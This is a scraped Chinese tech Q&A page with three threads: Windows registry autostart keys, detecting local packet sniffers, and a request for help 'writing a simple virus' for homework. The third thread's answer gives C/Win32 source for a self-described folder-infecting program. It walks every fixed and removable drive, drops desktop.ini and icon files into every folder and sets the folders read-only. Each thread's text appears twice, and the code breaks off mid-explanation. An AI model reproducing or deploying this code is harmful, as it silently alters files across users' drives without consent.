当前位置: 操作系统/服务器>windows
本页文章导读:
▪注册表中的自动启动项解决思路 注册表中的自动启动项HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers HKLM\Software\Classes\Directory\ShellEx\ContextMenuHandlers HKLM\Software\Classes\Folder\ShellEx\ContextMenuHandlers HKLM\Software\Microsoft\Windows\CurrentVersion.........
▪ sniffer本地检测?该怎么处理 sniffer本地检测?如果有什么软件在本地pc上抓包,有没有什么方法可以检测到这种行为?我在想:抓包原理是不是也是hook了那几个发送函数,那么遍历hook列表,是不是可以检测到这种抓包行.........
▪ 编写病毒解决方案 编写病毒请高手教我如何编写简单的病毒,最好用c/c++或java语言,只是为了完成作业,不会危害他人,谢谢
这里是个文件夹感染的范例程序,其实很简单,当然强大功能的病毒或木马远比这.........
[1]注册表中的自动启动项解决思路
来源: 互联网 发布时间: 2014-02-18
注册表中的自动启动项
HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers
HKLM\Software\Classes\Directory\ShellEx\ContextMenuHandlers
HKLM\Software\Classes\Folder\ShellEx\ContextMenuHandlers
HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\BrowserHelperObjects
这些应该都属于自动启动项, 这几个项有下的值项的值有什么意义,好像它们的形式都互不相同,另外如何找到这些文件加载的.exe或者dll
解决了就好。这几个键关联的都是CLSID,也就是应用程序、组件、对象的ID代码,找到这些文件加载的.exe或者dll的方法是到注册表的HKCR\CLSID下查找对应的CLSID,然后在相应CLSID的InprocServer32项下,即可找到对应的dll文件了。
HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers
HKLM\Software\Classes\Directory\ShellEx\ContextMenuHandlers
HKLM\Software\Classes\Folder\ShellEx\ContextMenuHandlers
HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\BrowserHelperObjects
这些应该都属于自动启动项, 这几个项有下的值项的值有什么意义,好像它们的形式都互不相同,另外如何找到这些文件加载的.exe或者dll
解决了就好。这几个键关联的都是CLSID,也就是应用程序、组件、对象的ID代码,找到这些文件加载的.exe或者dll的方法是到注册表的HKCR\CLSID下查找对应的CLSID,然后在相应CLSID的InprocServer32项下,即可找到对应的dll文件了。
[2] sniffer本地检测?该怎么处理
来源: 互联网 发布时间: 2014-02-18
sniffer本地检测?
如果有什么软件在本地pc上抓包,有没有什么方法可以检测到这种行为?
我在想:抓包原理是不是也是hook了那几个发送函数,那么遍历hook列表,是不是可以
检测到这种抓包行为?
我就是想不让其它程序能够复制我的通信数据包,只要检测到,我就做相应处理。
可以怎么实现?
有一些因素是软件无法控制的,不仅仅在操作系统这一层,
即使你费劲把操作系统的SNIFFER做掉了,你依然无法控制
交换机这一层,所以我认为这种方式不可取。
如果你不想数据包被窃听,你只能将你的数据包先加密再传输,
加密协议有很多,可以用现成的,也可以自己做,这样它就是
窃听了也没有用。
也可以自己做
抓包 需要设置网卡模式为混杂模式。因为混杂模式下,途径pc的数据包会被自动获取。(最初是方便管理员调试网络用的)
抓这一点应该就可以解决大部分的抓包程序。
如果有什么软件在本地pc上抓包,有没有什么方法可以检测到这种行为?
我在想:抓包原理是不是也是hook了那几个发送函数,那么遍历hook列表,是不是可以
检测到这种抓包行为?
我就是想不让其它程序能够复制我的通信数据包,只要检测到,我就做相应处理。
可以怎么实现?
有一些因素是软件无法控制的,不仅仅在操作系统这一层,
即使你费劲把操作系统的SNIFFER做掉了,你依然无法控制
交换机这一层,所以我认为这种方式不可取。
如果你不想数据包被窃听,你只能将你的数据包先加密再传输,
加密协议有很多,可以用现成的,也可以自己做,这样它就是
窃听了也没有用。
也可以自己做
抓包 需要设置网卡模式为混杂模式。因为混杂模式下,途径pc的数据包会被自动获取。(最初是方便管理员调试网络用的)
抓这一点应该就可以解决大部分的抓包程序。
[3] 编写病毒解决方案
来源: 互联网 发布时间: 2014-02-18
编写病毒
请高手教我如何编写简单的病毒,最好用c/c++或java语言,只是为了完成作业,不会危害他人,谢谢
这里是个文件夹感染的范例程序,其实很简单,当然强大功能的病毒或木马远比这要复杂很多,看些书吧,windows核心编程,网络编程,加上黑客防线编程板块的那些内容就可以了。
实现原理与步骤
修改文件夹图标的方法就是 在文件夹中放入两个文件,它们分别是 Desktop.ini 和 一个ico文件然后在Desktop.ini中写入如下内容
[.ShellClassInfo]
IconFile=GouGe.ico
IconIndex=0
其中GouGe.ico就是你要显示的文件夹图标了这个名字是可以改的,主要步骤分为1.枚举磁盘2.枚举目录3.进行感染总的来说就是这3步了
下面开始一个一个解析
1.枚举磁盘
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
for(char i='A';i<='Z';i++)
{
char x[20]={i,':'};
UINT Type=GetDriveType(x);
if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘
{
EnumDirectory(x);//进行感染 此函数下面介绍
}
}
return 0;
}
2.枚举目录
bool EnumDirectory(TCHAR *dirpath)
{
WIN32_FIND_DATA fd;
TCHAR szTempFileFind[MAX_PATH] = { 0 };
bool bIsFinish = false;
ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));
wsprintf(szTempFileFind, "%s\\*.*", dirpath);
HANDLE hFind = FindFirstFile(szTempFileFind, &fd);
if (hFind == INVALID_HANDLE_VALUE)
{
return false;
}
while (!bIsFinish)
{
bIsFinish = (FindNextFile(hFind, &fd)) ? false : true;
if ((strcmp(fd.cFileName, ".") != 0) && (strcmp(fd.cFileName, "..") != 0))
{
TCHAR szFoundFileName[MAX_PATH] = { 0 };
strcpy(szFoundFileName, fd.cFileName);
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
TCHAR szTempDir[MAX_PATH] = { 0 };
wsprintf(szTempDir, "%s\\%s", dirpath, szFoundFileName);
Sleep(10);
inject(szTempDir);//进行感染 此函数下面介绍
EnumDirectory(szTempDir);//递归调用
}
}
}
FindClose(hFind);
return 0;
}
此函数主要使用递归调用的方法对指定目录进行枚举,并感染,如果是文件则跳过
3.进行感染
void inject(char* path)
{
char inifilepath[256];
char icofilepath[256];
strcpy(inifilepath,path);
strcpy(icofilepath,path);
strcat(inifilepath,"\\desktop.ini");
strcat(icofilepath,"\\LengFeng.ico");
WriteResourceToFile(icofilepath);//生成ICO文件 此函数下面介绍
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
WritePrivateProfileString(".ShellClassInfo","IconFile","LengFeng.ico",inifilepath);//写入INI
WritePrivateProfileString(".ShellClassInfo","IconIndex","0",inifilepath);//写入INI
}
此函数负责把ICO和INI文件写入指定目录ICO文件是由资源的方式加载并生成的,而INI文件则是动态写入的
4.生成ICO文件
bool WriteResourceToFile(char const *filename)
{
HINSTANCE hInstance=GetModuleHandle(NULL);
HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_ICO),MAKEINTRESOURCE(RC_BINARYTYPE));
HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
void *pvRes = LockResource(hgRes);
DWORD cbRes = SizeofResource(hInstance, hResInfo);
HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
DWORD cbWritten;
WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);
CloseHandle(hFile);
return false;
}
此函数中ID_ICO与RC_BINARYTYPE是自己定义的它们分别代码资源名称和资源类型 因为ICO是以资源的方式加载的那么如何在SDK的程序中
加载资源呢?请看下面的实现
5.SDK中加载资源
如果你使用了VC或者BCB又或DELPHI那么可以直接导入,但在VC中的SDK程序中是没有这个功能的,所以我们要自己实现
首先新建一个名为resource.h的头文件并输入
请高手教我如何编写简单的病毒,最好用c/c++或java语言,只是为了完成作业,不会危害他人,谢谢
这里是个文件夹感染的范例程序,其实很简单,当然强大功能的病毒或木马远比这要复杂很多,看些书吧,windows核心编程,网络编程,加上黑客防线编程板块的那些内容就可以了。
实现原理与步骤
修改文件夹图标的方法就是 在文件夹中放入两个文件,它们分别是 Desktop.ini 和 一个ico文件然后在Desktop.ini中写入如下内容
[.ShellClassInfo]
IconFile=GouGe.ico
IconIndex=0
其中GouGe.ico就是你要显示的文件夹图标了这个名字是可以改的,主要步骤分为1.枚举磁盘2.枚举目录3.进行感染总的来说就是这3步了
下面开始一个一个解析
1.枚举磁盘
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
for(char i='A';i<='Z';i++)
{
char x[20]={i,':'};
UINT Type=GetDriveType(x);
if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘
{
EnumDirectory(x);//进行感染 此函数下面介绍
}
}
return 0;
}
2.枚举目录
bool EnumDirectory(TCHAR *dirpath)
{
WIN32_FIND_DATA fd;
TCHAR szTempFileFind[MAX_PATH] = { 0 };
bool bIsFinish = false;
ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));
wsprintf(szTempFileFind, "%s\\*.*", dirpath);
HANDLE hFind = FindFirstFile(szTempFileFind, &fd);
if (hFind == INVALID_HANDLE_VALUE)
{
return false;
}
while (!bIsFinish)
{
bIsFinish = (FindNextFile(hFind, &fd)) ? false : true;
if ((strcmp(fd.cFileName, ".") != 0) && (strcmp(fd.cFileName, "..") != 0))
{
TCHAR szFoundFileName[MAX_PATH] = { 0 };
strcpy(szFoundFileName, fd.cFileName);
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
TCHAR szTempDir[MAX_PATH] = { 0 };
wsprintf(szTempDir, "%s\\%s", dirpath, szFoundFileName);
Sleep(10);
inject(szTempDir);//进行感染 此函数下面介绍
EnumDirectory(szTempDir);//递归调用
}
}
}
FindClose(hFind);
return 0;
}
此函数主要使用递归调用的方法对指定目录进行枚举,并感染,如果是文件则跳过
3.进行感染
void inject(char* path)
{
char inifilepath[256];
char icofilepath[256];
strcpy(inifilepath,path);
strcpy(icofilepath,path);
strcat(inifilepath,"\\desktop.ini");
strcat(icofilepath,"\\LengFeng.ico");
WriteResourceToFile(icofilepath);//生成ICO文件 此函数下面介绍
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
WritePrivateProfileString(".ShellClassInfo","IconFile","LengFeng.ico",inifilepath);//写入INI
WritePrivateProfileString(".ShellClassInfo","IconIndex","0",inifilepath);//写入INI
}
此函数负责把ICO和INI文件写入指定目录ICO文件是由资源的方式加载并生成的,而INI文件则是动态写入的
4.生成ICO文件
bool WriteResourceToFile(char const *filename)
{
HINSTANCE hInstance=GetModuleHandle(NULL);
HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_ICO),MAKEINTRESOURCE(RC_BINARYTYPE));
HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
void *pvRes = LockResource(hgRes);
DWORD cbRes = SizeofResource(hInstance, hResInfo);
HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
DWORD cbWritten;
WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);
CloseHandle(hFile);
return false;
}
此函数中ID_ICO与RC_BINARYTYPE是自己定义的它们分别代码资源名称和资源类型 因为ICO是以资源的方式加载的那么如何在SDK的程序中
加载资源呢?请看下面的实现
5.SDK中加载资源
如果你使用了VC或者BCB又或DELPHI那么可以直接导入,但在VC中的SDK程序中是没有这个功能的,所以我们要自己实现
首先新建一个名为resource.h的头文件并输入
最新技术文章: